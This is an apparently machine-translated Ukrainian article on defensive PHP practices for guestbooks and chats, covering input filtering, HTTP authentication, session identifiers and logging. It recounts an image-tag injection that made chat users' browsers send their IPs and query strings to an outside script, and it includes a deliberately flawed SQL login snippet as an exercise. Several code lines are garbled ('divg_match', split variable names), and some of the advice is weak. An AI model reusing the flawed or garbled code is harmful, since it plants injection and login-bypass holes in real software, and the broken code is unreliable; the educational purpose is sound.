Прийоми безпечного програмування веб-додатків на PHP

[ виправити ] текст може містити помилки, будь ласка перевіряйте перш ніж використовувати.

скачати

Дана стаття не претендує на роль всеосяжного керівництва на тему "як зробити так, щоб мене ніхто не поламав". Так не буває. Єдина мета цієї статті - показати деякі використовувані мною прийоми для захисту веб-додатків типу WWW-чатів, гостьових книг, веб-форумів та інших програм подібного роду. Отже, давайте розглянемо деякі прийоми програмування на прикладі якоїсь гостьової книги, написаної на PHP.

Першою заповіддю веб-програміста, що бажає написати більш-менш захищене веб-додаток, має стати "Ніколи не вір даними, що надсилається тобі користувачем". Користувачі - це за визначенням такі злісні хакери, які тільки і шукають моменту, як би напхати у форми введення будь-яку гидоту типу PHP, JavaScript, SSI, викликів своїх моторошно хакреських скриптів і тому подібних жахливих речей. Тому перше, що необхідно зробити - це найжорстокішим чином відфільтрувати всі дані, надіслані користувачем.

Припустимо, у нас в гостьовій книзі існує 3 форми введення: ім'я користувача, його e-mail і саме по собі тіло повідомлення. Перш за все, обмежимо кількість даних, переданих з форм введення чим-небудь на кшталт:

<input type=text name=username maxlength=20>

На роль справжнього захисту, звичайно, це претендувати не може - єдине призначення цього елементу - обмежити користувача від випадкового введення імені довше 20-ти символів. А для того, щоб у користувача не виникло спокуси завантажити документ з формами введення і підправити параметр maxlength, встановимо де-небудь на самому початку скрипта, обробного дані, перевірку змінної оточення web-сервера HTTP-REFERER:

<?

$ Referer = getenv ("HTTP_REFERER");

if (! ereg ("^ http://www.myserver.com")) {

echo "hacker? he-he ... n";

exit;

}

?>

Тепер, якщо дані передані не з форм документа, що знаходиться на сервері www.myserver.com, хацкер буде видано деморалізуючий повідомлення. Насправді, і це теж не може служити 100%-ої гарантією того, що дані ДІЙСНО передані з нашого документа. Зрештою, мінлива HTTP_REFERER формується браузером, і ніхто не може перешкодити хакеру підправити код браузера, або просто зайти Телнет на 80-й порт і сформувати свій запит. Так що подібний захист годиться тільки від Ну Зовсім неосвічених хакерів. Втім, за моїми спостереженнями, близько 80% відсотків зловмисників на цьому етапі зупиняються і далі не лізуть - чи то IQ не дозволяє, чи то просто лінь. Особисто я просто виніс цей фрагмент коду в окремий файл, і викликаю його звідусіль, звідки це можливо. Часу на звернення до змінної йде трохи - а береженого Бог береже.

Наступним етапом стане горезвісна жорстка фільтрація переданих даних. Перш за все, не будемо довіряти змінної maxlength у формах введення і ручками поріжемо рядок:

$ Username = substr ($ username, 0,20);

Не дамо користувачеві використовувати порожнє поле імені - просто так, щоб не давати писати анонімні повідомлення:

if (empty ($ username)) {

echo "invalid username";

exit;

}

Заборонимо користувачеві використовувати в своєму імені будь-які символи, крім літер російського і латинського алфавіту, знака "_" (підкреслення), прогалини і цифр:

if (divg_match ("/[^( w) | (x7F-xFF) | (s )]/",$ username)) {

echo "invalid username";

exit;

}

Я віддаю перевагу скрізь, де потрібно що-небудь більш складне, ніж перевірити наявність патерну в рядку або поміняти один патерн на інший, використовувати Перл-сумісні регулярні вирази (Perl-compatible Regular Exdivssions). Те ж саме можна робити і використовуючи стандартні PHP-шні ereg () і eregi (). Я не буду наводити тут ці приклади - це досить докладно описано в мануали.

Для поля введення адреси e-mail додамо до списку дозволених символів знаки "@" і ".", Інакше користувач не зможе коректно ввести адресу. Зате приберемо російські літери і пробіл:

if (divg_match ("/[^( w )|(@)|(.)]/",$ usermail)) {

echo "invalid mail";

exit;

}

Поле введення тексту ми не будемо піддавати таким жорстким репресіям - перебирати всі знаки пунктуації, які можна використовувати, просто лінь, тому обмежимося використанням функцій nl2br () і htmlspecialchars () - це не дасть ворогові понатикали в текст повідомлення html-тегів. Деякі розробники, напевно, скажуть: "а ми все-таки дуже хочемо, щоб користувачі _моглі_ вставляти теги". Якщо сильно кортить - можна зробити якісь тегозаменітелі, типу "текст, оточений зірочками, буде висвітлений bold'ом.". Але ніколи не слід дозволяти користувачам використання тегів, що припускають підключення зовнішніх ресурсів - від тривіального <img> до супернавороченного <bgsound>.

Як-то раз мене попросили потестувати html-чат. Першим же поміченим мною багом було саме дозвіл вставки картинок. Враховуючи ще пару особливостей будови чату, через кілька хвилин у мене був файл, в якому акуратно були перераховані IP-адреси, імена та паролі всіх присутніх у цей момент на чаті користувачів. Як? Та дуже просто - чату був посланий тег <img src=http://myserver.com/myscript.pl>, в результаті чого браузери всіх користувачів, присутніх у той момент на чаті, викликали скрипт myscript.pl з хоста myserver.com. (Там не було людей, що сиділи під lynx'ом :-)). А скрипт, перед тим як видати location на картинку, звалив мені в лог-файл половину змінних оточення - зокрема QUERY_STRING, REMOTE_ADDR та інших. Для кожного користувача. З вищезазначеним результатом.

Тому моя думка - так, дозволити вставку html-тегів в чатах, форумах і гостьових книгах - це красиво, але гра не варта свічок - навряд чи користувачі підуть до Вас на книгу або в чат, знаючи, що їх IP може стати відомим першому зустрічному хакеру. Та й не тільки IP - можливості javascript'a я перераховувати не буду :-)

Для примітивної гостьової книги перерахованих коштів вистачить, щоб зробити її більш-менш складною для злому. Однак для зручності, книги зазвичай містять деякі можливості для модерування - як мінімум, можливість видалення повідомлень. Дозволену, природно, вузькому (або не дуже) колу осіб. Подивимося, що можна зробити тут.

Припустимо, вся система модерування книги також складається з двох частин - сторінки зі списком повідомлень, де можна відзначати підлягають видаленню повідомлення, і безпосередньо скрипта, що видаляє повідомлення. Назвемо їх відповідно admin1.php і admin2.php.

Найпростіший і надійний спосіб аутентикації користувача - розміщення скриптів в директорії, захищеної файлом. Htaccess. Для подолання такого захисту потрібно вже не додаток ламати, а web-сервер. Що трохи складніше і вже, в усякому разі, не вкладається в рамки теми цієї статті. Однак не завжди цей спосіб придатний до вживання - іноді буває треба проводити авторизацію засобами самого додатка.

Перший, найпростіший спосіб - авторизація засобами HTTP - через код 401. При вигляді такого коду повернення, будь-яка нормальна браузер висвітить віконце авторизації і попросить ввести логін і пароль. А надалі браузер при одержанні коду 401 буде намагатися підсунути web-серверу поточні для даного realm'а логін і пароль, і тільки в разі невдачі зажадає повторної авторизації. Приклад коду для виведення вимоги на таку авторизацію є в усіх хрестоматіях і мануали:

if (! isset ($ PHP_AUTH_USER)) {

Header ("WWW-Authenticate: Basic realm =" My Realm "");

Header ("HTTP/1.0 401 Unauthorized");

exit;

}

Розмістимо цей шматочок коду на початку скрипта admin1.php. Після його виконання, у нас будуть дві встановлені змінні $ PHP_AUTH_USER і PHP_AUTH_PW, в яких відповідно будуть лежати ім'я і пароль, введені користувачем. Їх можна, наприклад, перевірити по SQL-базі:

*** Увага !!!***

У наведеному нижче фрагменті коду свідомо допущена серйозна помилка в безпеці. Спробуйте знайти її самостійно.

$ Sql_statement = "select password from peoples where name = '$ PHP_AUTH_USER'";

$ Result = mysql ($ dbname, $ sql_statement);

$ Rpassword = mysql_result ($ result, 0, 'password');

$ Sql_statement = "select password ('$ PHP_AUTH_PW')";

$ Result = mysql ($ dbname, $ sql_statement);

$ Password = mysql_result ($ result, 0);

if ($ password! = $ rpassword) {

Header ("HTTP/1.0 401 Auth Required");

Header ("WWW-authenticate: basic realm =" My Realm "");

exit;

}

Згадана помилка, між іншим, дуже поширена серед початківців і неуважних програмістів. Колись я сам піймався на цю вудку - на щастя, особливої ​​шкоди це не принесло, не рахуючи надісланих хакером в новинній стрічці декількох нецензурних фраз.

Отже, розкриваю секрет: припустимо, хакер вводить завідомо неіснуюче ім'я користувача та порожній пароль. При цьому в результаті вибірки з бази змінна $ rpassword приймає пусте значення. А алгоритм шифрування паролів за допомогою функції СУБД MySQL Password (), так само, втім, як і стандартний алгоритм Unix, при спробі шифрування порожнього пароля повертає пусте значення. У результаті - $ password == $ rpassword, умова виконується і зломщик отримує доступ до захищеної частини програми. Лікується це або забороною порожніх паролів, або, на мій погляд, більш правильний шлях - вставкою наступного фрагмента коду:

if (mysql_numrows ($ result)! = 1) {

Header ("HTTP/1.0 401 Auth Required");

Header ("WWW-authenticate: basic realm =" My Realm "");

exit;

}

Тобто - перевіркою наявності одного і тільки одного користувача в базі. Ні більше, ні менше.

Точно таку ж перевірку на авторизацію варто вбудувати і в скрипт admin2.php. По ідеї, якщо користувач хороша людина - то вона приходить до admin2.php через admin1.php, а значить, вже є авторизованим і ніяких повторних питань йому не буде - браузер нишком передасть пароль. Якщо ж ні - ну, тоді і посваритися не гріх. Скажімо, вивести ту ж фразу "hacker? He-he ...".

На жаль, не завжди вдається скористатися алгоритмом авторизації через код 401 і доводиться виконувати її тільки засобами програми. У загальному випадку модель такої авторизації буде наступною:

Користувач один раз авторизується за допомогою веб-форми й скрипта, який перевіряє правильність імені та пароля.

Решта скрипти захищеної частини програми яких-небудь чином перевіряють факт авторизованого користувача.

Така модель називається сесійного - після проходження авторизації відкривається так звана "сесія", протягом якої користувач має доступ до захищеної частини системи. Сесія закрилася - доступ закривається. На цьому принципі, зокрема, будується більшість www-чатів: користувач може отримати доступ до чату тільки після того, як пройде процедуру входу. Основна складність даної схеми полягає в тому, що всі скрипти захищеної частини програми якимось чином мають знати про те, що користувач, який посилає дані, успішно авторизувався.

Розглянемо кілька варіантів, як це можна зробити:

Після авторизації всі скрипти захищеної частини викликаються з якимсь прапорцем виду adminmode = 1. (Не треба сміятися - я сам таке бачив).

Ясно, що будь-який, кому відомий прапорець adminmode, може сам сформувати URL і зайти в режимі адміністрування. Крім того - немає можливості відрізнити одного користувача від іншого.

Скрипт авторизації може яким-небудь чином передати ім'я користувача іншим скриптам. Поширена в багатьох www-чатах - для того, щоб відрізнити, де чиє повідомлення йде, поряд з формою типу text для введення повідомлення, прилаштовується форма типу hidden, де вказується ім'я користувача. Теж ненадійно, тому що хакер може завантажити документ з формою до себе на диск і поміняти значення форми hidden. Деяку користь тут може принести вищезгадана перевірка HTTP_REFERER - але, як я вже говорив, жодних гарантій вона не дає.

Визначення користувача по IP-адресою. У цьому випадку, після проходження авторизації, де-небудь у локальній базі даних (sql, dbm, та хоч у txt-файлі) зберігається поточний IP користувача, а всі скрипти захищеної частини дивляться в змінну REMOTE_ADDR і перевіряють, чи є така адреса в базі . Якщо є - значить, авторизація була, якщо немає - "hacker? He-he ..." :-)

Це більш надійний спосіб - не пройти авторизацію та отримати доступ вдасться лише в тому випадку, якщо з того ж IP сидить інший користувач, успішно авторизуватися. Однак, враховуючи поширеність проксі-серверів та IP-Masquerad'інга - це цілком реально.

Єдиним, відомим мені простим і досить надійним способом верифікації особи користувача є авторизація за допомогою random uid. Розглянемо її більш докладно.

Після авторизації користувача скрипт, який провів авторизацію, генерує досить довге випадкове число:

mt_srand ((double) microtime () * 1000000);

$ Uid = mt_rand (1,1000000);

Це число він:

а) заносить в локальний список авторизованих користувачів;

б) Видає користувачеві.

Користувач при кожному запиті, крім іншої інформації (повідомлення в чаті, або список повідомлень в гостьовій книзі), відправляє серверу свій uid. При цьому в документі з формами введення буде присутній, поряд з іншими формами, тег види:

<input type=hidden name=uid value=1234567890>

Форма uid невидима для користувача, але вона передається скрипту захищеної частини програми. Той звіряє переданий йому uid з uid'ом, що зберігається в локальній базі і або виконує свою функцію, або ... "Hacker? He-he ...".

Єдине, що необхідно зробити при такій організації - періодично чистити локальний список uid'ов та / або зробити для користувача кнопку "вихід", при натисканні на яку локальний uid користувача зітреться з бази на сервері - сесія закрита.

Деякі програмісти використовують як uid не "одноразове" динамічно генерирующиеся число, а пароль користувача. Це допустимо, але це є "поганим тоном", оскільки пароль користувача звичайно не змінюється від сесії до сесії, а значить - хакер зможе сам відкривати сесії. Та ж сама модель може бути використана скрізь, де потрібна ідентифікація користувача - у чатах, веб-конференціях, електронних магазинах.

На закінчення варто згадати і про таку корисної речі, як ведення логів. Якщо в кожну з описаних процедур вбудувати можливість занесення події в лог-файл із зазначенням IP-адреси потенційного зловмисника - то в разі реальної атаки обчислити хакера буде набагато простіше, оскільки хакери зазвичай пробують послідовно ускладнюються атаки. Для визначення IP-адреси бажано використовувати не тільки стандартну змінну REMOTE_ADDR, але і менш відому HTTP_X_FORWARDED_FOR, яка дозволяє визначити IP користувача, що знаходиться за проксі-сервером. Природно - якщо проксі це дозволяє.

При веденні лог-файлів, необхідно пам'ятати, що доступ до них повинен бути тільки у Вас. Краще всього, якщо вони будуть розташовані за межами дерева каталогів, доступного через WWW. Якщо немає такої можливості - створіть окремий каталог для лог-файлів і закрийте туди доступ за допомогою. Htaccess (Deny from all).

Додати в блог або на сайт

Цей текст може містити помилки.

Програмування, комп'ютери, інформатика і кібернетика | Реферат
26.9кб. | скачати


Схожі роботи:
Прийоми програмування на JavaScript
Access і Visual basic for Application Excel VBA прийоми програмування
Сесії в PHP
Вступний курс в PHP
Розробка класу в PHP
Умови безпечного перебування на льоду
Заходи із забезпечення безпечного і нешкідливого виробництва
Еколого гігієнічне об рунтування регламентів безпечного застосуван
Основні поняття математичного програмування Побудова моделі задачі лінійного програмування
© Усі права захищені
написати до нас